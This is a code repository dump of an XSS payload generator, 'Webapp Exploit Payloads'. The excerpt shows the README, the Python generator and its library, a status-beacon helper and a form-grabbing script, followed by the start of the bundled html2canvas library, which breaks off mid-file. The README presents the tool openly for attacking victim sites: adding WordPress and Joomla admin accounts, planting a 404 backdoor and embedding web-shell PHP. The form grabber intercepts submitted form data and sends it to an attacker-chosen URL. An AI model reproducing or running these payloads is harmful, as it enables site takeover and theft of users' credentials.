├── .gitignore
├── README.md
├── bin
├── genpayload.py
├── lib
│ └── __init__.py
└── yuicompressor.jar
└── src
├── config
└── settings.ini
├── includes
├── common.js
├── formgrabber
│ └── generic.js
├── html2canvas
│ ├── html2canvas.js
│ └── jquery.plugin.html2canvas.js
├── jquery.ba-htmldoc.js
├── jquery.cookie.js
├── jquery.js
├── serverside
│ └── simplepassthru.php
└── swf
│ ├── checkplayer.js
│ ├── flCookie.js
│ ├── flCookie.swf
│ ├── flXHR.js
│ ├── flXHR.swf
│ ├── flXHR.vbs
│ ├── flensed.js
│ ├── jquery.flXHRproxy.js
│ ├── swfobject.js
│ └── updateplayer.swf
└── payloads
├── generic
├── domdump
│ ├── config.ini
│ └── domdump.js
├── formgrabber
│ ├── config.ini
│ └── logoutandgrabform.js
└── screenshot
│ ├── config.ini
│ └── screenshot.js
├── joomla
└── newadmin
│ ├── config.ini
│ └── newadmin.js
└── wordpress
├── backdoor404
├── 404.js
└── config.ini
└── newadmin
├── config.ini
└── newadmin.js
/.gitignore:
--------------------------------------------------------------------------------
1 | src/.DS_Store
2 | .DS_Store
3 | *.pyc
4 | bin/lib/__init__.pyc
5 |
6 | src/includes/serverside/weevely.php
7 |
8 | src/includes/serverside/wso.php
9 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Webapp Exploit Payloads
2 |
3 | A collection of payloads for common webapps and a tool to help
4 | generate them.
5 |
6 |
7 | ## Usage:
8 |
9 | To list the available payloads:
10 |
11 | $ ./genpayload.py -L
12 |
13 | To generate one big JavaScript file called `out.js`:
14 |
15 | $ ./genpayload.py -p wordpress/newadmin -o out.js
16 |
17 | To list valid parameters:
18 |
19 | $ ./genpayload.py -p wordpress/newadmin -H
20 |
21 | To pass the parameters through command line:
22 |
23 | $ ./genpayload.py -p wordpress/newadmin -P usernewpage=http://victimsite/blog/wp-admin/user-new.php
24 |
25 | To generate payload for crossdomain.xml exploitation:
26 |
27 | $ ./genpayload.py -p wordpress/newadmin -t swf -P usernewpage=http://victimsite/blog/wp-admin/user-new.php
28 |
29 | To generate payload with an html file:
30 |
31 | $ ./genpayload.py -p wordpress/newadmin -t htmljs -P usernewpage=http://victimsite/blog/wp-admin/user-new.php
32 |
33 | ## Payload types
34 |
35 | ### JS
36 |
37 | Outputs a single JavaScript file that contains all the necessary libraries, such as
38 | jQuery. This can then be included in your XSS. Can also be compressed if need be.
39 |
40 | ### HTMLJS
41 |
42 | Creates a directory containing `index.html` and the included libraries. The html
43 | file contains the payload JavaScript.
44 |
45 | ### SWF
46 |
47 | Creates a directory containing `index.html` and all libraries, including the
48 | files needed for flXHR.
49 |
50 | ### HTML5CORS
51 |
52 | Similar to HTMLJS but makes the code work cross-domain thanks to HTML5
53 | cross origin resource sharing. The victim server needs to trust the attacker server
54 | through the `Access-Control-Allow-Origin: http://attackersite` header and also the header
55 | `Access-Control-Allow-Credentials: true` needs to be set.
56 |
57 | ## Directory structure
58 |
59 | ### /bin
60 |
61 | This is where `genpayload.py` resides.
62 |
63 | ### /src
64 |
65 | This is where all the code is generated from.
66 |
67 | #### /src/config
68 |
69 | A directory containing general configuration files. The file
70 | `settings.ini` is used to store one `statusurl` for all.
71 |
72 | #### /src/includes
73 |
74 | A directory containing files that are included by the payloads. For example,
75 | jquery and its plugins are stored here. There is also a common.js which
76 | contains functions that are commonly used across most payloads.
77 |
78 | #### /src/payloads
79 |
80 | This directory contains all the payloads. The subdirectories under this one
81 | are named after the product that they exploit, for example, wordpress.
82 | There is one directory called generic where generic payloads are stored.
83 |
84 | Each payload has to contain a `config.ini` file that specifies the filename
85 | of the payload, other dependencies and default variable values.
86 |
87 | ## Configuration files
88 |
89 | Each `config.ini` has the following sections:
90 |
91 | - `[config]` where all variables that do not fit anywhere else and their values are stored
92 | - `[locations]` where all URLs are stored .. these URLs become variables within the payload
93 | - `[dependencies]` which contains the following options:
94 | - `script` which is the filename of the payload
95 | - `jquery` which is the filename of the jquery script
96 | - `include` which is any other JavaScript files to be included in the final payload
97 | - `[about]` which contains information about the script including:
98 | - `description` which is a summary of what the payload does
99 | - `[includes]` which contains variable names whose values include filenames for files
100 | that are read by the payload generator and then their contents end up a JavaScript
101 | string in the payload. Useful for placing that backdoor php code
--------------------------------------------------------------------------------
/bin/genpayload.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | """
4 | genpayload.py
5 |
6 | Created by Sandro Gauci (sandro@enablesecurity.com) on 2012-05-11.
7 | Copyright (c) 2012 Sandro Gauci. All rights reserved.
8 | """
9 |
10 | import sys
11 | import argparse
12 | import os
13 | import logging
14 | import json
15 | from lib import *
16 |
17 |
18 | help_message = '''
19 | Generates web application exploitation payloads based on existent template
20 | '''
21 |
22 | def getargs():
23 | parser = argparse.ArgumentParser(description=help_message)
24 | parser.add_argument('-p','--payloads', help='name of payload', action="append", default=[])
25 | parser.add_argument('-o','--output', help='output filename or directory name')
26 | parser.add_argument('-P','--parameters', action="append", default=[],
27 | help='set variables in the form variable=value (see the ini files for the useful variable names)')
28 | parser.add_argument('-t','--payloadtype',help="Type of output, can be js, swf or htmljs",choices=['js','swf','htmljs','html5cors'],default='js')
29 | parser.add_argument('-H','--payloadhelp', action='store_true', help='Lists parameters for the particular payload and quit')
30 | parser.add_argument('-L','--listpayloads', action='store_true',help='List available payloads')
31 | args = parser.parse_args()
32 | if not (args.payloads or args.listpayloads or args.payloadhelp):
33 | parser.error('Please specify either -p or -L as option')
34 | if (args.payloadtype in ['swf','htmljs']) and (not args.output):
35 | parser.error('Please specify an output location for your swf or htmljs')
36 | return args
37 |
38 | def main(argv=None):
39 | try:
40 | args = getargs()
41 | if args.payloadhelp:
42 | r = listpayloadparams(args)
43 | elif args.listpayloads:
44 | r = listpayloads(args)
45 | elif args.payloads:
46 | if args.payloadtype == 'js':
47 | r = generatejspayload(args)
48 | output(r,args)
49 | elif args.payloadtype in ['swf','htmljs','html5cors']:
50 | r = generatehtmlpayload(args)
51 | except Exception as e:
52 | if DEBUG:
53 | raise e
54 | else:
55 | print (str(e))
56 | return(0)
57 |
58 | if __name__ == "__main__":
59 | sys.exit(main())
60 |
--------------------------------------------------------------------------------
/bin/lib/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | """
4 | __init__.py
5 |
6 | Created by Sandro Gauci on 2013-01-13.
7 | Copyright (c) 2013 EnableSecurity. All rights reserved.
8 | """
9 |
10 | import sys
11 | import argparse
12 | import os
13 | import logging
14 | import json
15 | import shutil
16 |
17 |
18 | DEBUG = True
19 |
20 | major_version = sys.version_info[0]
21 | if major_version == 2:
22 | from ConfigParser import ConfigParser, NoSectionError, ParsingError
23 | import urlparse
24 | elif major_version == 3:
25 | from configparser import ConfigParser, NoSectionError, ParsingError
26 | from urllib.parse import urlparse
27 | else:
28 | print('python version needs to be 2 or 3')
29 | sys.exit(-1)
30 |
31 |
32 | def getinclude(path,include):
33 | includespath = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),'..','src','includes'))
34 | fn = os.path.join(includespath,include)
35 | fn2 = os.path.join(path,include)
36 | if os.path.exists(fn):
37 | f=open(fn,'rb')
38 | buff = f.read().decode('utf-8')
39 | f.close()
40 | else:
41 | f=open(fn2,'rb')
42 | buff = f.read().decode('utf-8')
43 | f.close()
44 | return buff + "\r\n\r\n"
45 |
46 |
47 | def output(payload,args):
48 | if args.output:
49 | f = open(args.output,'wb')
50 | else:
51 | f = sys.stdout
52 | f.write(payload.encode('utf-8'))
53 | f.close()
54 |
55 |
56 |
57 |
58 | def getparameters(args):
59 | conf = dict()
60 | jsvarsdict = dict()
61 | jsvars = str()
62 | locationsdict = dict()
63 | includes = str()
64 | statusurl = str()
65 | payloadfiles = set()
66 | includesfn = set()
67 | jqueryadded = False
68 | jqueryinclude = str()
69 | jqueryfn = str()
70 |
71 | basepath = os.path.dirname(os.path.abspath(sys.argv[0]))
72 |
73 | defaultsettingsfn = os.path.abspath(os.path.join(basepath,'..','src','config','settings.ini'))
74 | defaultsettings = ConfigParser()
75 | if not os.path.exists(defaultsettingsfn):
76 | raise Exception('settings.ini not found')
77 | defaultsettings.read(defaultsettingsfn)
78 | try:
79 | statusurl = defaultsettings.get('status','url')
80 | except (NoSectionError,ParsingError) as e:
81 | raise Exception('Invalid settings.ini')
82 |
83 |
84 |
85 | for payload in args.payloads:
86 | path = os.path.abspath(os.path.join(basepath,'..','src','payloads',payload))
87 | configfn = os.path.join(path,'config.ini')
88 | config = ConfigParser()
89 | config.read(configfn)
90 |
91 | mainconfig = config.items('config')
92 | for kv in mainconfig:
93 | k,v = kv
94 | jsvarsdict[k] = v
95 |
96 | locationsconfig = config.items('locations')
97 | for kv in locationsconfig:
98 | k,v = kv
99 | jsvarsdict[k] = v
100 | locationsdict[k]=v
101 |
102 | if not jqueryadded:
103 | if config.has_option('dependencies','jquery'):
104 | jqueryfn = config.get('dependencies','jquery')
105 | jqueryinclude = getinclude(path,jqueryfn)
106 | jqueryadded = True
107 | jqueryfn=jqueryfn
108 |
109 | for include in config.get('dependencies','include').split():
110 | includesfn.add(include)
111 |
112 | ## this allows files to be included as javascript variables
113 | if config.has_section('includes'):
114 | for includevar in config.options('includes'):
115 | includefn = config.get('includes',includevar)
116 | jsvarsdict[includevar] = getinclude(path,includefn).strip()
117 |
118 | payloadfiles.add(os.path.join(path,config.get('dependencies','script')))
119 |
120 | if 'status' in config.sections():
121 | if config.has_option('status','url'):
122 | statusurl = config.get('status','url')
123 |
124 | for param in args.parameters:
125 | k,v = param.split('=',1)
126 | jsvarsdict[k] = v
127 | if k in locationsdict:
128 | locationsdict[k] = v
129 |
130 | for k,v in jsvarsdict.items():
131 | jsvars += '%s = %s;\r\n' % (k,json.dumps(v))
132 |
133 |
134 | for includefn in includesfn:
135 | includes += getinclude(path,includefn)
136 |
137 | jsvarsdict['statusurl'] = statusurl
138 |
139 | conf['jsvarsdict'] = jsvarsdict
140 | conf['jsvars'] = jsvars
141 | conf['includes'] = includes
142 | conf['statusurl'] = statusurl
143 | conf['payloadfiles'] = payloadfiles
144 | conf['locationsdict'] = locationsdict
145 | conf['includesfn'] = includesfn
146 | conf['jqueryinclude'] = jqueryinclude
147 | conf['jqueryfn'] = jqueryfn
148 |
149 | return conf
150 |
151 |
152 | def generateswfpayload(args):
153 | conf = getparameters(args)
154 | firsturl = conf['locationsdict'].values()[0]
155 | payload = str()
156 | urlsplit = urlparse.urlsplit(firsturl)
157 | if len(urlsplit.scheme) == 0:
158 | raise Exception('Please pass a full URL rather than a relative path for the SWF output')
159 |
160 | baseurl = urlsplit.scheme + '://' + urlsplit.netloc
161 | for payloadfile in conf['payloadfiles']:
162 | f = open(payloadfile,'rb')
163 | payload += f.read().decode('utf-8') + '\r\n\r\n'
164 | f.close()
165 |
166 | codeToAdd = "jQuery.flXHRproxy.registerOptions(%s,{noCacheHeader: false,xmlResponseText:false});\r\njQuery.ajaxSetup({transport:'flXHRproxy'});" % (json.dumps(baseurl))
167 | payloadstr = '\r\n\r\n'.join([conf['jsvars'],codeToAdd,payload])
168 | return(payloadstr)
169 |
170 |
171 | def generatejspayload(args):
172 | conf = getparameters(args)
173 | payload = str()
174 | for payloadfile in conf['payloadfiles']:
175 | f = open(payloadfile,'rb')
176 | payload += f.read().decode('utf-8') + '\r\n\r\n'
177 | f.close()
178 | if args.payloadtype == 'htmljs':
179 | payloadstr = '\r\n\r\n'.join([conf['jsvars'],payload])
180 | else:
181 | payloadstr = '\r\n\r\n'.join([conf['jsvars'],conf['jqueryinclude'],conf['includes'],payload])
182 | return(payloadstr)
183 |
184 | def generatehtmlpayload(args):
185 | conf = getparameters(args)
186 | filestocopy = list()
187 | if args.payloadtype == 'swf':
188 | filestocopy = ['swf/checkplayer.js','swf/flXHR.js', 'jquery.js','common.js',
189 | 'swf/flXHR.swf','swf/flensed.js','swf/jquery.flXHRproxy.js',
190 | 'swf/swfobject.js','swf/updateplayer.swf','swf/flCookie.js',
191 | 'swf/flCookie.swf']
192 | filestoinclude = ['flXHR.js','jquery.js','jquery.flXHRproxy.js','common.js']
193 | payloadstr = generateswfpayload(args)
194 | elif args.payloadtype in ['html5cors','htmljs']:
195 | filestocopy = [conf['jqueryfn']]
196 | filestocopy.extend(conf['includesfn'])
197 | filestoinclude = map(lambda ctx: os.path.split(ctx)[1],filestocopy)
198 | if args.payloadtype == 'html5cors':
199 | payloadstr = generatehtmlwithcredspayload(args)
200 | elif args.payloadtype == 'htmljs':
201 | payloadstr = generatejspayload(args)
202 | else:
203 | raise Exception('Should not be here')
204 |
205 | htmloutput = '\r\n'
206 | for jsfn in filestoinclude:
207 | htmloutput += '\r\n'%jsfn
208 |
209 | if not os.path.exists(args.output):
210 | os.makedirs(args.output)
211 |
212 | includespath = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),'..','src','includes'))
213 | for fn in filestocopy:
214 | shutil.copy(os.path.join(includespath,fn),args.output)
215 |
216 | htmloutput += '\r\n'
217 | outfile=open(os.path.join(args.output,'index.html'),'w')
218 | outfile.write(htmloutput.encode('utf-8'))
219 | outfile.close()
220 | outfile2=open(os.path.join(args.output,'payload.js'),'w')
221 | outfile2.write(payloadstr.encode('utf-8'))
222 | outfile2.close()
223 |
224 | def generatehtmlwithcredspayload(args):
225 | conf = getparameters(args)
226 | payload = str()
227 | for payloadfile in conf['payloadfiles']:
228 | f = open(payloadfile,'rb')
229 | payload += f.read().decode('utf-8') + '\r\n\r\n'
230 | f.close()
231 | codeToAdd = '$.ajaxSetup({\n xhrFields: {\n withCredentials: true\n },\n crossDomain: true\n});'
232 | payloadstr = '\r\n\r\n'.join([conf['jsvars'],codeToAdd,payload])
233 | return(payloadstr)
234 |
235 |
236 | def listpayloads(args):
237 | payloadsdir = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),'..','src','payloads'))
238 | for root, dirs, files in os.walk(payloadsdir):
239 | if 'config.ini' in files:
240 | configfn = os.path.join(root,'config.ini')
241 | config = ConfigParser()
242 | try:
243 | config.read(configfn)
244 | mainconfig = config.items('about')
245 | except NoSectionError as e:
246 | raise Exception('Invalid config.ini. Missing [about] section')
247 | tmpgroupdir,payloadname = os.path.split(root)
248 | groupname = os.path.split(tmpgroupdir)[1]
249 | print("Payload: %s/%s" % (groupname,payloadname))
250 | for kv in mainconfig:
251 | print("\t%s:\t%s" % kv)
252 | print("\r\n")
253 |
254 |
255 |
256 |
257 |
258 | def listpayloadparams(args):
259 | for payload in args.payloads:
260 | path = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),'..','src','payloads',payload))
261 | configfn = os.path.join(path,'config.ini')
262 | if not os.path.exists(configfn):
263 | raise Exception('Invalid payload directory: %s' % path)
264 | config = ConfigParser()
265 | try:
266 | config.read(configfn)
267 | mainconfig = config.items('config')
268 | locationsconfig = config.items('locations')
269 | except NoSectionError as e:
270 | raise Exception('Invalid config.ini. Missing [config] or [locations] section')
271 | print("Default parameters for %s:\r\n" % payload)
272 | for kv in mainconfig:
273 | print("\tparameter: %s\tdefault: %s" % kv)
274 | for kv in locationsconfig:
275 | print("\tparameter: %s\tdefault: %s" % kv)
276 | print('\r\n')
--------------------------------------------------------------------------------
/bin/yuicompressor.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EnableSecurity/Webapp-Exploit-Payloads/4413e6c79201149585448a980d1540211ee1ae90/bin/yuicompressor.jar
--------------------------------------------------------------------------------
/src/config/settings.ini:
--------------------------------------------------------------------------------
1 | [status]
2 | ;url = http://example.com/status
3 | url =
4 |
--------------------------------------------------------------------------------
/src/includes/common.js:
--------------------------------------------------------------------------------
1 | function notify(status)
2 | {
3 | if (statusurl)
4 | {
5 | nstatusurl = statusurl + '?status=' + escape(status);
6 | $.getScript(nstatusurl);
7 | }
8 | };
--------------------------------------------------------------------------------
/src/includes/formgrabber/generic.js:
--------------------------------------------------------------------------------
1 | $("form").submit(
2 | function(){
3 | if (!$.cookie("formgrabbed")){
4 | notify("form submitted: "+$(this).serialize());
5 | $.cookie("formgrabbed","1");
6 | return false;
7 | }
8 | })
--------------------------------------------------------------------------------
/src/includes/html2canvas/html2canvas.js:
--------------------------------------------------------------------------------
1 | /**
2 | @license html2canvas v0.34
3 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
4 | http://www.twitter.com/niklasvh
5 |
6 | Released under MIT License
7 | */
8 | (function(window, document, undefined){
9 |
10 | /*
11 | html2canvas v0.34
12 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
13 | http://www.twitter.com/niklasvh
14 |
15 | Released under MIT License
16 | */
17 | "use strict";
18 |
19 | var _html2canvas = {},
20 | previousElement,
21 | computedCSS,
22 | html2canvas;
23 |
24 |
25 | function h2clog(a) {
26 | if (_html2canvas.logging && window.console && window.console.log) {
27 | window.console.log(a);
28 | }
29 | }
30 |
31 | _html2canvas.Util = {};
32 |
33 | _html2canvas.Util.backgroundImage = function (src) {
34 |
35 | if (/data:image\/.*;base64,/i.test( src ) || /^(-webkit|-moz|linear-gradient|-o-)/.test( src )) {
36 | return src;
37 | }
38 |
39 | if (src.toLowerCase().substr( 0, 5 ) === 'url("') {
40 | src = src.substr( 5 );
41 | src = src.substr( 0, src.length - 2 );
42 | } else {
43 | src = src.substr( 4 );
44 | src = src.substr( 0, src.length - 1 );
45 | }
46 |
47 | return src;
48 | };
49 |
50 | _html2canvas.Util.Bounds = function getBounds (el) {
51 | var clientRect,
52 | bounds = {};
53 |
54 | if (el.getBoundingClientRect){
55 | clientRect = el.getBoundingClientRect();
56 |
57 |
58 | // TODO add scroll position to bounds, so no scrolling of window necessary
59 | bounds.top = clientRect.top;
60 | bounds.bottom = clientRect.bottom || (clientRect.top + clientRect.height);
61 | bounds.left = clientRect.left;
62 |
63 | // older IE doesn't have width/height, but top/bottom instead
64 | bounds.width = clientRect.width || (clientRect.right - clientRect.left);
65 | bounds.height = clientRect.height || (clientRect.bottom - clientRect.top);
66 |
67 | return bounds;
68 |
69 | }
70 | };
71 |
72 | _html2canvas.Util.getCSS = function (el, attribute) {
73 | // return $(el).css(attribute);
74 |
75 | var val;
76 |
77 | function toPX( attribute, val ) {
78 | var rsLeft = el.runtimeStyle && el.runtimeStyle[ attribute ],
79 | left,
80 | style = el.style;
81 |
82 | // Check if we are not dealing with pixels, (Opera has issues with this)
83 | // Ported from jQuery css.js
84 | // From the awesome hack by Dean Edwards
85 | // http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
86 |
87 | // If we're not dealing with a regular pixel number
88 | // but a number that has a weird ending, we need to convert it to pixels
89 |
90 | if ( !/^-?[0-9]+\.?[0-9]*(?:px)?$/i.test( val ) && /^-?\d/.test( val ) ) {
91 |
92 | // Remember the original values
93 | left = style.left;
94 |
95 | // Put in the new values to get a computed value out
96 | if ( rsLeft ) {
97 | el.runtimeStyle.left = el.currentStyle.left;
98 | }
99 | style.left = attribute === "fontSize" ? "1em" : (val || 0);
100 | val = style.pixelLeft + "px";
101 |
102 | // Revert the changed values
103 | style.left = left;
104 | if ( rsLeft ) {
105 | el.runtimeStyle.left = rsLeft;
106 | }
107 |
108 | }
109 |
110 | if (!/^(thin|medium|thick)$/i.test( val )) {
111 | return Math.round(parseFloat( val )) + "px";
112 | }
113 |
114 | return val;
115 |
116 | }
117 |
118 |
119 | if ( window.getComputedStyle ) {
120 | if ( previousElement !== el ) {
121 | computedCSS = document.defaultView.getComputedStyle(el, null);
122 | }
123 | val = computedCSS[ attribute ];
124 |
125 | if ( attribute === "backgroundPosition" ) {
126 |
127 | val = (val.split(",")[0] || "0 0").split(" ");
128 |
129 | val[ 0 ] = ( val[0].indexOf( "%" ) === -1 ) ? toPX( attribute + "X", val[ 0 ] ) : val[ 0 ];
130 | val[ 1 ] = ( val[1] === undefined ) ? val[0] : val[1]; // IE 9 doesn't return double digit always
131 | val[ 1 ] = ( val[1].indexOf( "%" ) === -1 ) ? toPX( attribute + "Y", val[ 1 ] ) : val[ 1 ];
132 | }
133 |
134 | } else if ( el.currentStyle ) {
135 | // IE 9>
136 | if (attribute === "backgroundPosition") {
137 | // Older IE uses -x and -y
138 | val = [ toPX( attribute + "X", el.currentStyle[ attribute + "X" ] ), toPX( attribute + "Y", el.currentStyle[ attribute + "Y" ] ) ];
139 | } else {
140 |
141 | val = toPX( attribute, el.currentStyle[ attribute ] );
142 |
143 | if (/^(border)/i.test( attribute ) && /^(medium|thin|thick)$/i.test( val )) {
144 | switch (val) {
145 | case "thin":
146 | val = "1px";
147 | break;
148 | case "medium":
149 | val = "0px"; // this is wrong, it should be 3px but IE uses medium for no border as well.. TODO find a work around
150 | break;
151 | case "thick":
152 | val = "5px";
153 | break;
154 | }
155 | }
156 | }
157 |
158 |
159 |
160 | }
161 |
162 |
163 |
164 |
165 | return val;
166 |
167 |
168 |
169 | //return $(el).css(attribute);
170 |
171 |
172 | };
173 |
174 |
175 | _html2canvas.Util.BackgroundPosition = function ( el, bounds, image ) {
176 | // TODO add support for multi image backgrounds
177 |
178 | var bgposition = _html2canvas.Util.getCSS( el, "backgroundPosition" ) ,
179 | topPos,
180 | left,
181 | percentage,
182 | val;
183 |
184 | if (bgposition.length === 1){
185 | val = bgposition;
186 |
187 | bgposition = [];
188 |
189 | bgposition[0] = val;
190 | bgposition[1] = val;
191 | }
192 |
193 |
194 |
195 | if (bgposition[0].toString().indexOf("%") !== -1){
196 | percentage = (parseFloat(bgposition[0])/100);
197 | left = ((bounds.width * percentage)-(image.width*percentage));
198 |
199 | }else{
200 | left = parseInt(bgposition[0],10);
201 | }
202 |
203 | if (bgposition[1].toString().indexOf("%") !== -1){
204 |
205 | percentage = (parseFloat(bgposition[1])/100);
206 | topPos = ((bounds.height * percentage)-(image.height*percentage));
207 | }else{
208 | topPos = parseInt(bgposition[1],10);
209 | }
210 |
211 |
212 |
213 |
214 | return {
215 | top: topPos,
216 | left: left
217 | };
218 |
219 | };
220 |
221 | _html2canvas.Util.Extend = function (options, defaults) {
222 | for (var key in options) {
223 | if (options.hasOwnProperty(key)) {
224 | defaults[key] = options[key];
225 | }
226 | }
227 | return defaults;
228 | };
229 |
230 |
231 | /*
232 | * Derived from jQuery.contents()
233 | * Copyright 2010, John Resig
234 | * Dual licensed under the MIT or GPL Version 2 licenses.
235 | * http://jquery.org/license
236 | */
237 | _html2canvas.Util.Children = function( elem ) {
238 |
239 |
240 | var children;
241 | try {
242 |
243 | children = (elem.nodeName && elem.nodeName.toUpperCase() === "IFRAME") ?
244 | elem.contentDocument || elem.contentWindow.document : (function( array ){
245 | var ret = [];
246 |
247 | if ( array !== null ) {
248 |
249 | (function( first, second ) {
250 | var i = first.length,
251 | j = 0;
252 |
253 | if ( typeof second.length === "number" ) {
254 | for ( var l = second.length; j < l; j++ ) {
255 | first[ i++ ] = second[ j ];
256 | }
257 |
258 | } else {
259 | while ( second[j] !== undefined ) {
260 | first[ i++ ] = second[ j++ ];
261 | }
262 | }
263 |
264 | first.length = i;
265 |
266 | return first;
267 | })( ret, array );
268 |
269 | }
270 |
271 | return ret;
272 | })( elem.childNodes );
273 |
274 | } catch (ex) {
275 | h2clog("html2canvas.Util.Children failed with exception: " + ex.message);
276 | children = [];
277 | }
278 | return children;
279 | };
280 |
281 | /*
282 | html2canvas v0.34
283 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
284 | http://www.twitter.com/niklasvh
285 |
286 | Contributor(s):
287 | Niklas von Hertzen
288 | André Fiedler
289 |
290 | Released under MIT License
291 | */
292 |
293 | (function(){
294 |
295 | _html2canvas.Generate = {};
296 |
297 | var reGradients = [
298 | /^(-webkit-linear-gradient)\(([a-z\s]+)([\w\d\.\s,%\(\)]+)\)$/,
299 | /^(-o-linear-gradient)\(([a-z\s]+)([\w\d\.\s,%\(\)]+)\)$/,
300 | /^(-webkit-gradient)\((linear|radial),\s((?:\d{1,3}%?)\s(?:\d{1,3}%?),\s(?:\d{1,3}%?)\s(?:\d{1,3}%?))([\w\d\.\s,%\(\)-]+)\)$/,
301 | /^(-moz-linear-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?))([\w\d\.\s,%\(\)]+)\)$/,
302 | /^(-webkit-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s([a-z-]+)([\w\d\.\s,%\(\)]+)\)$/,
303 | /^(-moz-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s?([a-z-]*)([\w\d\.\s,%\(\)]+)\)$/,
304 | /^(-o-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s([a-z-]+)([\w\d\.\s,%\(\)]+)\)$/
305 | ];
306 |
307 | /*
308 | * TODO: Add IE10 vendor prefix (-ms) support
309 | * TODO: Add W3C gradient (linear-gradient) support
310 | * TODO: Add old Webkit -webkit-gradient(radial, ...) support
311 | * TODO: Maybe some RegExp optimizations are possible ;o)
312 | */
313 | _html2canvas.Generate.parseGradient = function(css, bounds) {
314 | var gradient, i, len = reGradients.length, m1, stop, m2, m2Len, step, m3;
315 |
316 | for(i = 0; i < len; i+=1){
317 | m1 = css.match(reGradients[i]);
318 | if(m1) break;
319 | }
320 |
321 | if(m1) {
322 | switch(m1[1]) {
323 | case '-webkit-linear-gradient':
324 | case '-o-linear-gradient':
325 |
326 | gradient = {
327 | type: 'linear',
328 | x0: null,
329 | y0: null,
330 | x1: null,
331 | y1: null,
332 | colorStops: []
333 | };
334 |
335 | // get coordinates
336 | m2 = m1[2].match(/\w+/g);
337 | if(m2){
338 | m2Len = m2.length;
339 | for(i = 0; i < m2Len; i+=1){
340 | switch(m2[i]) {
341 | case 'top':
342 | gradient.y0 = 0;
343 | gradient.y1 = bounds.height;
344 | break;
345 |
346 | case 'right':
347 | gradient.x0 = bounds.width;
348 | gradient.x1 = 0;
349 | break;
350 |
351 | case 'bottom':
352 | gradient.y0 = bounds.height;
353 | gradient.y1 = 0;
354 | break;
355 |
356 | case 'left':
357 | gradient.x0 = 0;
358 | gradient.x1 = bounds.width;
359 | break;
360 | }
361 | }
362 | }
363 | if(gradient.x0 === null && gradient.x1 === null){ // center
364 | gradient.x0 = gradient.x1 = bounds.width / 2;
365 | }
366 | if(gradient.y0 === null && gradient.y1 === null){ // center
367 | gradient.y0 = gradient.y1 = bounds.height / 2;
368 | }
369 |
370 | // get colors and stops
371 | m2 = m1[3].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}(?:%|px))?)+/g);
372 | if(m2){
373 | m2Len = m2.length;
374 | step = 1 / Math.max(m2Len - 1, 1);
375 | for(i = 0; i < m2Len; i+=1){
376 | m3 = m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/);
377 | if(m3[2]){
378 | stop = parseFloat(m3[2]);
379 | if(m3[3] === '%'){
380 | stop /= 100;
381 | } else { // px - stupid opera
382 | stop /= bounds.width;
383 | }
384 | } else {
385 | stop = i * step;
386 | }
387 | gradient.colorStops.push({
388 | color: m3[1],
389 | stop: stop
390 | });
391 | }
392 | }
393 | break;
394 |
395 | case '-webkit-gradient':
396 |
397 | gradient = {
398 | type: m1[2] === 'radial' ? 'circle' : m1[2], // TODO: Add radial gradient support for older mozilla definitions
399 | x0: 0,
400 | y0: 0,
401 | x1: 0,
402 | y1: 0,
403 | colorStops: []
404 | };
405 |
406 | // get coordinates
407 | m2 = m1[3].match(/(\d{1,3})%?\s(\d{1,3})%?,\s(\d{1,3})%?\s(\d{1,3})%?/);
408 | if(m2){
409 | gradient.x0 = (m2[1] * bounds.width) / 100;
410 | gradient.y0 = (m2[2] * bounds.height) / 100;
411 | gradient.x1 = (m2[3] * bounds.width) / 100;
412 | gradient.y1 = (m2[4] * bounds.height) / 100;
413 | }
414 |
415 | // get colors and stops
416 | m2 = m1[4].match(/((?:from|to|color-stop)\((?:[0-9\.]+,\s)?(?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)\))+/g);
417 | if(m2){
418 | m2Len = m2.length;
419 | for(i = 0; i < m2Len; i+=1){
420 | m3 = m2[i].match(/(from|to|color-stop)\(([0-9\.]+)?(?:,\s)?((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\)/);
421 | stop = parseFloat(m3[2]);
422 | if(m3[1] === 'from') stop = 0.0;
423 | if(m3[1] === 'to') stop = 1.0;
424 | gradient.colorStops.push({
425 | color: m3[3],
426 | stop: stop
427 | });
428 | }
429 | }
430 | break;
431 |
432 | case '-moz-linear-gradient':
433 |
434 | gradient = {
435 | type: 'linear',
436 | x0: 0,
437 | y0: 0,
438 | x1: 0,
439 | y1: 0,
440 | colorStops: []
441 | };
442 |
443 | // get coordinates
444 | m2 = m1[2].match(/(\d{1,3})%?\s(\d{1,3})%?/);
445 |
446 | // m2[1] == 0% -> left
447 | // m2[1] == 50% -> center
448 | // m2[1] == 100% -> right
449 |
450 | // m2[2] == 0% -> top
451 | // m2[2] == 50% -> center
452 | // m2[2] == 100% -> bottom
453 |
454 | if(m2){
455 | gradient.x0 = (m2[1] * bounds.width) / 100;
456 | gradient.y0 = (m2[2] * bounds.height) / 100;
457 | gradient.x1 = bounds.width - gradient.x0;
458 | gradient.y1 = bounds.height - gradient.y0;
459 | }
460 |
461 | // get colors and stops
